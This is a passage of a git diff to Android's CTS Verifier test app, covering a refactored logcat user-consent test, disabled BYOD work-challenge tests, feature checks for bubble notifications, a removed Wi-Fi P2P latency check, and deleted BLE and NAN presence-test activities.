+                    Log.d(TAG, "Logcat system allow log contains: " + allowLog + " lineCount: "
+                            + lineCount + " larger than: " + allowLineCount);
+
+                    mLastLogAccess = SystemClock.elapsedRealtime();
+
+                    runOnUiThread(() ->
+                            Toast.makeText(this, "User Consent Allow Testing passed",
+                                    Toast.LENGTH_LONG).show());
+
+                } catch (AssertionError e) {
+                    fail("User Consent Allow Testing failed");
+                }
+
+            } catch (Exception e) {
+                Log.e(TAG, "User Consent Testing failed");
+            } finally {
+                try {
+                    if (reader != null) {
+                        reader.close();
                     }
-
-                    Log.d(TAG, "Logcat system allow line count: " + lineCount);
-                    Log.d(TAG, "Logcat system allow output: " + logcatOutput);
-
-                    try {
-
-                        assertTrue("System log output is null", logcatOutput.size() != 0);
-
-                        // Check if the logcatOutput is not null. If logcatOutput is null,
-                        // it throws an assertion error
-                        assertNotNull(logcatOutput.get(0), "logcat output should not be null");
-
-                        boolean allowLog = logcatOutput.get(0).contains(SYSTEM_LOG_START);
-                        assertTrue("Allow system log access containe log", allowLog);
-
-                        boolean allowLineCount = lineCount > NUM_OF_LINES_FG;
-                        assertTrue("Allow system log access count", allowLineCount);
-
-                        Log.d(TAG, "Logcat system allow log contains: " + allowLog + " lineCount: "
-                                + lineCount + " larger than: " + allowLineCount);
-
-                        mLastLogAccess = SystemClock.elapsedRealtime();
-
-                    } catch (AssertionError e) {
-                        fail("User Consent Allow Testing failed");
-                    }
-
-                } catch (Exception e) {
-                    Log.e(TAG, "User Consent Testing failed");
-                } finally {
-                    try {
-                        if (reader != null) {
-                            reader.close();
-                        }
-                    } catch (IOException e) {
-                        Log.d(TAG, "Could not close reader: " + e.getMessage());
-                    }
+                } catch (IOException e) {
+                    Log.d(TAG, "Could not close reader: " + e.getMessage());
                 }
             }
         });
@@ -199,56 +203,53 @@
     public void runLogcatInForegroundDontAllow() {
         Log.d(TAG, "Inside runLogcatInForegroundDontAllow()");
 
-        if (mLastLogAccess > (SystemClock.elapsedRealtime() - LOG_ACCESS_INTERVAL)) {
+        if (mLastLogAccess > (SystemClock.elapsedRealtime() - LOG_ACCESS_INTERVAL_MILLIS)) {
             String reason = "Please wait for "
-                    + ((mLastLogAccess + LOG_ACCESS_INTERVAL - SystemClock.elapsedRealtime())
+                    + ((mLastLogAccess + LOG_ACCESS_INTERVAL_MILLIS - SystemClock.elapsedRealtime())
                     / 1000) + " seconds before running the test.";
             Toast.makeText(this, reason, Toast.LENGTH_LONG).show();
             return;
         }
 
-        sExecutorService.execute(new Runnable() {
+        sExecutorService.execute(() -> {
+            BufferedReader reader = null;
+            try {
+                Process logcat = new ProcessBuilder(LOG_CAT_TEST_COMMAND).start();
+                logcat.waitFor();
 
-            public void run() {
-                BufferedReader reader = null;
+                // Merge several logcat streams, and take the last N lines
+                reader = new BufferedReader(new InputStreamReader(logcat.getInputStream()));
+                assertNotNull(reader);
+
+                String current;
+                int lineCount = 0;
+                while ((current = reader.readLine()) != null
+                        && current.matches(sLogCatUidFilterRegex)) {
+                    lineCount++;
+                }
+
+                Log.d(TAG, "Logcat system deny line count:" + lineCount);
+
+                mLastLogAccess = SystemClock.elapsedRealtime();
+
                 try {
-                    java.lang.Process logcat = new ProcessBuilder(
-                            Arrays.asList("logcat", "-b", "system", "-t",
-                                    Integer.toString(NUM_OF_LINES_FG))).start();
-                    logcat.waitFor();
+                    assertTrue("Deny System log access", lineCount == NUM_OF_LINES_BG);
 
-                    // Merge several logcat streams, and take the last N lines
-                    reader = new BufferedReader(new InputStreamReader(logcat.getInputStream()));
-                    assertNotNull(reader);
-
-                    List<String> logcatOutput = new ArrayList<>();
-                    String current;
-                    int lineCount = 0;
-                    while ((current = reader.readLine()) != null) {
-                        logcatOutput.add(current);
-                        lineCount++;
+                    runOnUiThread(() ->
+                            Toast.makeText(this, "User Consent Deny Testing passed",
+                                    Toast.LENGTH_LONG).show());
+                } catch (AssertionError e) {
+                    fail("User Consent Deny Testing failed");
+                }
+            } catch (Exception e) {
+                Log.e(TAG, "User Consent Testing failed");
+            } finally {
+                try {
+                    if (reader != null) {
+                        reader.close();
                     }
-
-                    Log.d(TAG, "Logcat system deny line count:" + lineCount);
-
-                    mLastLogAccess = SystemClock.elapsedRealtime();
-
-                    try {
-                        assertTrue("Deny System log access", lineCount == NUM_OF_LINES_BG);
-                    } catch (AssertionError e) {
-                        fail("User Consent Deny Testing failed");
-                    }
-
-                } catch (Exception e) {
-                    Log.e(TAG, "User Consent Testing failed");
-                } finally {
-                    try {
-                        if (reader != null) {
-                            reader.close();
-                        }
-                    } catch (IOException e) {
-                        Log.d(TAG, "Could not close reader: " + e.getMessage());
-                    }
+                } catch (IOException e) {
+                    Log.d(TAG, "Could not close reader: " + e.getMessage());
                 }
             }
         });
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index d23d43b..d6564ff 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -116,9 +116,9 @@
     private TestListItem mDisableLocationModeThroughMainSwitchTest;
     private TestListItem mDisableLocationModeThroughWorkSwitchTest;
     private TestListItem mPrimaryLocationWhenWorkDisabledTest;
-    private DialogTestListItem mSelectWorkChallenge;
+    //private DialogTestListItem mSelectWorkChallenge;
     private DialogTestListItem mConfirmWorkCredentials;
-    private DialogTestListItem mPatternWorkChallenge;
+    //private DialogTestListItem mPatternWorkChallenge;
     private DialogTestListItem mParentProfilePassword;
     private DialogTestListItem mPersonalRingtonesTest;
     private TestListItem mVpnTest;
@@ -297,12 +297,13 @@
                     "BYOD_ConfirmWorkCredentials",
                     R.string.provisioning_byod_confirm_work_credentials_description,
                     new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME));
-
+            /* Disable due to  b/242477777
             mPatternWorkChallenge = new DialogTestListItem(this,
                     R.string.provisioning_byod_pattern_work_challenge,
                     "BYOD_PatternWorkChallenge",
                     R.string.provisioning_byod_pattern_work_challenge_description,
                     new Intent(ByodHelperActivity.ACTION_TEST_PATTERN_WORK_CHALLENGE));
+             */
 
             mWiFiDataUsageSettingsVisibleTest = new DialogTestListItem(this,
                     R.string.provisioning_byod_wifi_data_usage_settings,
@@ -472,12 +473,13 @@
                 R.string.profile_owner_permission_lockdown_test_info,
                 permissionCheckIntent);
 
+        /* Disable due to b/241498104
         mSelectWorkChallenge = new DialogTestListItem(this,
                 R.string.provisioning_byod_select_work_challenge,
                 "BYOD_SelectWorkChallenge",
                 R.string.provisioning_byod_select_work_challenge_description,
                 new Intent(ByodHelperActivity.ACTION_TEST_SELECT_WORK_CHALLENGE));
-
+        */
         mRecentsTest = TestListItem.newTest(this,
                 R.string.provisioning_byod_recents,
                 RecentsRedactionActivity.class.getName(),
@@ -560,10 +562,10 @@
         adapter.add(mVpnTest);
         adapter.add(mAlwaysOnVpnSettingsTest);
         adapter.add(mTurnOffWorkFeaturesTest);
-        adapter.add(mSelectWorkChallenge);
+        //adapter.add(mSelectWorkChallenge);
         if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
             adapter.add(mConfirmWorkCredentials);
-            adapter.add(mPatternWorkChallenge);
+            // adapter.add(mPatternWorkChallenge);
         }
         adapter.add(mRecentsTest);
         adapter.add(mOrganizationInfoTest);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
index 55a4cce..80aab50 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
@@ -20,6 +20,8 @@
 import static android.app.NotificationManager.BUBBLE_PREFERENCE_SELECTED;
 import static android.app.NotificationManager.IMPORTANCE_DEFAULT;
 import static android.content.Intent.ACTION_VIEW;
+import static android.content.pm.PackageManager.FEATURE_INPUT_METHODS;
+import static android.content.pm.PackageManager.FEATURE_PC;
 import static android.view.View.GONE;
 import static android.view.View.INVISIBLE;
 import static android.view.View.VISIBLE;
@@ -91,6 +93,7 @@
     private int mCurrentTestIndex = -1; // gets incremented first time
     private int mStepFailureCount = 0;
     private boolean mShowingSummary = false;
+    private boolean mSupportsBubble = false;
 
     private Handler mHandler = new Handler();
     private Runnable mRunnable;
@@ -148,11 +151,18 @@
         });
 
         ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+
+        try {
+            mSupportsBubble = getResources().getBoolean(getResources().getIdentifier(
+                    "config_supportsBubble", "bool", "android"));
+        } catch (Resources.NotFoundException e) {
+            // Assume device does not support bubble, no need to do anything.
+        }
+
         if (am.isLowRamDevice()) {
             // Bubbles don't occur on low ram, instead they just show as notifs so test that
             mTests.add(new LowRamBubbleTest());
-        } else if (!Resources.getSystem()
-                    .getBoolean(com.android.internal.R.bool.config_supportsBubble)) {
+        } else if (!mSupportsBubble) {
             // Bubbles don't occur on bubble disabled devices, only test notifications.
             mTests.add(new BubbleDisabledTest());
         } else {
@@ -188,9 +198,14 @@
             //
             // Expanded view appearance
             //
-            mTests.add(new PortraitAndLandscape());
+            // At the moment, PC devices do not support rotation
+            if (!getPackageManager().hasSystemFeature(FEATURE_PC)) {
+                mTests.add(new PortraitAndLandscape());
+            }
             mTests.add(new ScrimBehindExpandedView());
-            mTests.add(new ImeInsetsExpandedView());
+            if (getPackageManager().hasSystemFeature(FEATURE_INPUT_METHODS)) {
+                mTests.add(new ImeInsetsExpandedView());
+            }
             mTests.add(new MinHeightExpandedView());
             mTests.add(new MaxHeightExpandedView());
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java
index f0c62c4..20ce5ac 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java
@@ -23,9 +23,7 @@
 import android.net.wifi.p2p.WifiP2pGroup;
 import android.net.wifi.p2p.WifiP2pInfo;
 import android.net.wifi.p2p.WifiP2pManager;
-import android.os.Build;
 
-import com.android.compatibility.common.util.PropertyUtil;
 import com.android.cts.verifier.R;
 
 import java.lang.reflect.Method;
@@ -189,11 +187,21 @@
      * @throws InterruptedException
      */
     protected boolean connectTest(WifiP2pConfig config) throws InterruptedException {
+        notifyTestMsg(R.string.p2p_searching_target);
+
+        /*
+         * Search target device and check its capability.
+         */
         ActionListenerTest actionListener = new ActionListenerTest();
+        mP2pMgr.discoverPeers(mChannel, actionListener);
+        if (!actionListener.check(ActionListenerTest.SUCCESS, TIMEOUT)) {
+            mReason = mContext.getString(R.string.p2p_discover_peers_error);
+            return false;
+        }
+
         /*
          * Try to connect the target device.
          */
-        long startTime = System.currentTimeMillis();
         mP2pMgr.connect(mChannel, config, actionListener);
         if (!actionListener.check(ActionListenerTest.SUCCESS, TIMEOUT)) {
             mReason = mContext.getString(R.string.p2p_connect_error);
@@ -216,15 +224,6 @@
         WifiP2pGroup group = mReceiverTest.getWifiP2pGroup();
         if (group != null) {
             if (!group.isGroupOwner()) {
-                long endTime = System.currentTimeMillis();
-                long connectionLatency = endTime - startTime;
-                if (PropertyUtil.isVndkApiLevelAtLeast(Build.VERSION_CODES.TIRAMISU)
-                        && connectionLatency
-                        > MAXIMUM_EXPECTED_CONNECTION_LATENCY_WITH_CONFIG_MS) {
-                    mReason = mContext.getString(R.string.p2p_connection_latency_error,
-                            MAXIMUM_EXPECTED_CONNECTION_LATENCY_WITH_CONFIG_MS, connectionLatency);
-                    return false;
-                }
                 setTargetAddress(group.getOwner().deviceAddress);
             } else {
                 mReason = mContext.getString(R.string.p2p_connection_error);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java
index 2117419..7f608c5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java
@@ -44,7 +44,6 @@
 
     protected static final int TIMEOUT = 25000;
     protected static final int TIMEOUT_FOR_USER_ACTION = 60000;
-    protected static final int MAXIMUM_EXPECTED_CONNECTION_LATENCY_WITH_CONFIG_MS = 1500;
     protected static final int SUCCESS = 0;
 
     protected Context mContext;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java
deleted file mode 100644
index 1548910..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java
+++ /dev/null
@@ -1,113 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.presence;
-
-import android.app.AlertDialog;
-import android.bluetooth.BluetoothAdapter;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.text.Editable;
-import android.util.Log;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-/** Tests the precision of the device's RSSI measurement wtfdelet */
-public class BleRssiPrecisionActivity extends PassFailButtons.Activity {
-    private static final String TAG = BleRssiPrecisionActivity.class.getName();
-
-    // Report log schema
-    private static final String KEY_RSSI_RANGE_DBM = "rssi_range_dbm";
-    private static final String KEY_REFERENCE_DEVICE = "reference_device";
-
-    // Thresholds
-    private static final int MAX_RSSI_RANGE_DBM = 18;
-
-    private EditText reportRssiRangeEditText;
-    private EditText reportReferenceDeviceEditText;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.ble_rssi_precision);
-        setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
-
-        reportRssiRangeEditText = findViewById(R.id.report_rssi_range);
-        reportReferenceDeviceEditText = findViewById(R.id.report_reference_device);
-
-        DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
-                PackageManager.FEATURE_BLUETOOTH_LE);
-
-        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
-
-        if (!adapter.isEnabled()) {
-            new AlertDialog.Builder(this)
-                    .setTitle(R.string.ble_bluetooth_disable_title)
-                    .setMessage(R.string.ble_bluetooth_disable_message)
-                    .setOnCancelListener(dialog -> finish())
-                    .create().show();
-        }
-
-        reportRssiRangeEditText.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-        reportReferenceDeviceEditText.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-    }
-
-    private void checkTestInputs() {
-        getPassButton().setEnabled(checkDistanceRangeInput() && checkReferenceDeviceInput());
-    }
-
-    private boolean checkDistanceRangeInput() {
-        String rssiRangeInput = reportRssiRangeEditText.getText().toString();
-
-        if (!rssiRangeInput.isEmpty()) {
-            int rssiRange = Integer.parseInt(rssiRangeInput);
-            // RSSI range must be inputted and within acceptable range before test can be passed
-            return rssiRange <= MAX_RSSI_RANGE_DBM;
-        }
-        return false;
-    }
-
-    private boolean checkReferenceDeviceInput() {
-        // Reference device must be inputted before test can be passed
-        return !reportReferenceDeviceEditText.getText().toString().isEmpty();
-    }
-
-    @Override
-    public void recordTestResults() {
-        String rssiRange = reportRssiRangeEditText.getText().toString();
-        String referenceDevice = reportReferenceDeviceEditText.getText().toString();
-
-        if (!rssiRange.isEmpty()) {
-            Log.i(TAG, "BLE RSSI Range (dBm): " + rssiRange);
-            getReportLog().addValue(KEY_RSSI_RANGE_DBM, Integer.parseInt(rssiRange),
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-
-        if (!referenceDevice.isEmpty()) {
-            Log.i(TAG, "BLE Reference Device: " + referenceDevice);
-            getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice,
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-        getReportLog().submit();
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java
deleted file mode 100644
index 2de7edf..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java
+++ /dev/null
@@ -1,140 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.presence;
-
-import android.app.AlertDialog;
-import android.bluetooth.BluetoothAdapter;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.text.Editable;
-import android.util.Log;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-/**
- * Tests that the device's Rx/Tx calibration results in a median range (cm) within the specified
- * bounds
- */
-public class BleRxTxCalibrationActivity extends PassFailButtons.Activity {
-    private static final String TAG = BleRxTxCalibrationActivity.class.getName();
-
-    // Report log schema
-    private static final String KEY_CHANNEL_RSSI_RANGE = "channel_rssi_range";
-    private static final String KEY_CORE_RSSI_RANGE = "core_rssi_range";
-    private static final String KEY_REFERENCE_DEVICE = "reference_device";
-
-    // Thresholds
-    private static final int MAX_RSSI_RANGE = 6;
-
-    private EditText reportChannelsRssiRangeEditText;
-    private EditText reportCoresRssiRangeEditText;
-    private EditText reportReferenceDeviceEditText;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.ble_rx_tx_calibration);
-        setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
-
-        reportChannelsRssiRangeEditText = findViewById(R.id.report_channels_rssi_range);
-        reportCoresRssiRangeEditText = findViewById(R.id.report_cores_rssi_range);
-        reportReferenceDeviceEditText = findViewById(R.id.report_reference_device);
-
-        DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
-                PackageManager.FEATURE_BLUETOOTH_LE);
-
-        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
-
-        if (!adapter.isEnabled()) {
-            new AlertDialog.Builder(this)
-                    .setTitle(R.string.ble_bluetooth_disable_title)
-                    .setMessage(R.string.ble_bluetooth_disable_message)
-                    .setOnCancelListener(dialog -> finish())
-                    .create().show();
-        }
-
-        reportChannelsRssiRangeEditText.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-        reportCoresRssiRangeEditText.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-        reportReferenceDeviceEditText.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-    }
-
-    private void checkTestInputs() {
-        getPassButton().setEnabled(
-                checkChannelRssiInput() && checkCoreRssiInput() && checkReferenceDeviceInput());
-    }
-
-    private boolean checkChannelRssiInput() {
-        String channelsRssiRangeInput = reportChannelsRssiRangeEditText.getText().toString();
-        if (!channelsRssiRangeInput.isEmpty()) {
-            int channelsRssiRange = Integer.parseInt(channelsRssiRangeInput);
-            // RSSI range must be inputted and within acceptable range before test can be passed
-            return channelsRssiRange <= MAX_RSSI_RANGE;
-        }
-        return false;
-    }
-
-    private boolean checkCoreRssiInput() {
-        String coresRssiRangeInput = reportCoresRssiRangeEditText.getText().toString();
-        if (!coresRssiRangeInput.isEmpty()) {
-            int coresRssiRange = Integer.parseInt(coresRssiRangeInput);
-            // RSSI range must be inputted and within acceptable range before test can be passed
-            return coresRssiRange <= MAX_RSSI_RANGE;
-        }
-        // This field is optional, so return true even if the user has not inputted anything
-        return true;
-    }
-
-    private boolean checkReferenceDeviceInput() {
-        // Reference device must be inputted before test can be passed
-        return !reportReferenceDeviceEditText.getText().toString().isEmpty();
-    }
-
-    @Override
-    public void recordTestResults() {
-        String channelRssiRange = reportChannelsRssiRangeEditText.getText().toString();
-        String coreRssiRange = reportCoresRssiRangeEditText.getText().toString();
-        String referenceDevice = reportReferenceDeviceEditText.getText().toString();
-
-        if (!channelRssiRange.isEmpty()) {
-            Log.i(TAG, "BLE RSSI Range Across Channels (dBm): " + channelRssiRange);
-            getReportLog().addValue(KEY_CHANNEL_RSSI_RANGE, Integer.parseInt(channelRssiRange),
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-
-        if (!coreRssiRange.isEmpty()) {
-            Log.i(TAG, "BLE RSSI Range Across Cores (dBm): " + coreRssiRange);
-            getReportLog().addValue(KEY_CORE_RSSI_RANGE, Integer.parseInt(coreRssiRange),
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-
-        if (!referenceDevice.isEmpty()) {
-            Log.i(TAG, "BLE Reference Device: " + referenceDevice);
-            getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice,
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-
-        getReportLog().submit();
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/DeviceFeatureChecker.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/DeviceFeatureChecker.java
deleted file mode 100644
index 256fe3a..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/DeviceFeatureChecker.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.verifier.presence;
-import android.app.Activity;
-import android.content.Context;
-import android.util.Log;
-import android.view.View;
-import android.widget.Toast;
-
-/**
- * Checks if a device supports a hardware feature needed for a test, and passes the test
- * automatically otherwise.
- */
-public class DeviceFeatureChecker {
-
-    /** Checks if a feature is supported.
-     *
-     * @param feature must be a string defined in PackageManager
-     */
-    public static void checkFeatureSupported(Context context, View passButton, String feature) {
-        if (!context.getPackageManager().hasSystemFeature(feature)) {
-            String message = String.format("Device does not support %s, automatically passing test",
-                    feature);
-            Toast.makeText(context, message, Toast.LENGTH_SHORT).show();
-            Log.e(context.getClass().getName(), message);
-            passButton.performClick();
-            Activity activity = (Activity) (context);
-            activity.finish();
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/InputTextHandler.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/InputTextHandler.java
deleted file mode 100644
index 2de68a5..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/InputTextHandler.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-
-package com.android.cts.verifier.presence;
-
-import android.text.Editable;
-import android.text.TextWatcher;
-
-/**
- * Handles editable text inputted into test activities.
- */
-public class InputTextHandler {
-
-    /** Callback that is executed when text is changed. Takes modified text as input. */
-    public interface OnTextChanged {
-        void run(Editable s);
-    }
-
-    /**
-     * Generic text changed handler that will execute the provided callback when text is modified.
-     *
-     * @param callback called when text is changed, and passed the modified text
-     */
-    public static TextWatcher getOnTextChangedHandler(OnTextChanged callback) {
-        return new TextWatcher() {
-            @Override
-            public void beforeTextChanged(CharSequence s, int start, int count, int after) {}
-
-            @Override
-            public void onTextChanged(CharSequence s, int start, int before, int count) {}
-
-            @Override
-            public void afterTextChanged(Editable s) {
-                callback.run(s);
-            }
-        };
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java
deleted file mode 100644
index 458d192..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java
+++ /dev/null
@@ -1,271 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.presence;
-
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.text.Editable;
-import android.util.Log;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import com.google.common.collect.ImmutableMap;
-
-import java.util.Arrays;
-import java.util.List;
-
-/**
- * Activity for testing that NAN measurements are within the acceptable ranges
- */
-public class NanPrecisionTestActivity extends PassFailButtons.Activity {
-    private static final String TAG = NanPrecisionTestActivity.class.getName();
-
-    // Report log schema
-    private static final String KEY_BANDWIDTH = "nan_bandwidth";
-    private static final String KEY_MEASUREMENT_RANGE_10CM_AT_68P = "measurement_range_10cm_68p";
-    private static final String KEY_MEASUREMENT_RANGE_1M_AT_68P = "measurement_range_1m_68p";
-    private static final String KEY_MEASUREMENT_RANGE_3M_AT_68p = "measurement_range_3m_68p";
-    private static final String KEY_MEASUREMENT_RANGE_5M_AT_68p = "measurement_range_5m_68p";
-    private static final String KEY_MEASUREMENT_RANGE_10CM_AT_90P = "measurement_range_10cm_90p";
-    private static final String KEY_MEASUREMENT_RANGE_1M_AT_90P = "measurement_range_1m_90p";
-    private static final String KEY_MEASUREMENT_RANGE_3M_AT_90p = "measurement_range_3m_90p";
-    private static final String KEY_MEASUREMENT_RANGE_5M_AT_90p = "measurement_range_5m_90p";
-    private static final String KEY_REFERENCE_DEVICE = "reference_device";
-
-    // Thresholds
-    private static final int MAX_DISTANCE_RANGE_METERS_160MHZ = 2;
-    private static final int MAX_DISTANCE_RANGE_METERS_80MHZ = 4;
-    private static final int MAX_DISTANCE_RANGE_METERS_40MHZ = 8;
-    private static final int MAX_DISTANCE_RANGE_METERS_20MHZ = 16;
-
-    // Maps NAN bandwidths to acceptable range thresholds
-    private static final ImmutableMap<Integer, Integer> BANDWIDTH_TO_THRESHOLD_MAP =
-            ImmutableMap.of(160, MAX_DISTANCE_RANGE_METERS_160MHZ, 80,
-                    MAX_DISTANCE_RANGE_METERS_80MHZ, 40, MAX_DISTANCE_RANGE_METERS_40MHZ, 20,
-                    MAX_DISTANCE_RANGE_METERS_20MHZ);
-
-    private EditText mBandwidthMhz;
-    private EditText mMeasurementRange10cmGt68p;
-    private EditText mMeasurementRange1mGt68p;
-    private EditText mMeasurementRange3mGt68p;
-    private EditText mMeasurementRange5mGt68p;
-    private EditText mMeasurementRange10cmGt90p;
-    private EditText mMeasurementRange1mGt90p;
-    private EditText mMeasurementRange3mGt90p;
-    private EditText mMeasurementRange5mGt90p;
-    private EditText mReferenceDeviceInput;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.nan_precision);
-        setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
-
-        mBandwidthMhz = (EditText) findViewById(R.id.nan_bandwidth);
-        mMeasurementRange10cmGt68p = (EditText) findViewById(R.id.distance_range_10cm_gt_68p);
-        mMeasurementRange1mGt68p = (EditText) findViewById(R.id.distance_range_1m_gt_68p);
-        mMeasurementRange3mGt68p = (EditText) findViewById(R.id.distance_range_3m_gt_68p);
-        mMeasurementRange5mGt68p = (EditText) findViewById(R.id.distance_range_5m_gt_68p);
-        mMeasurementRange10cmGt90p = (EditText) findViewById(R.id.distance_range_10cm_gt_90p);
-        mMeasurementRange1mGt90p = (EditText) findViewById(R.id.distance_range_1m_gt_90p);
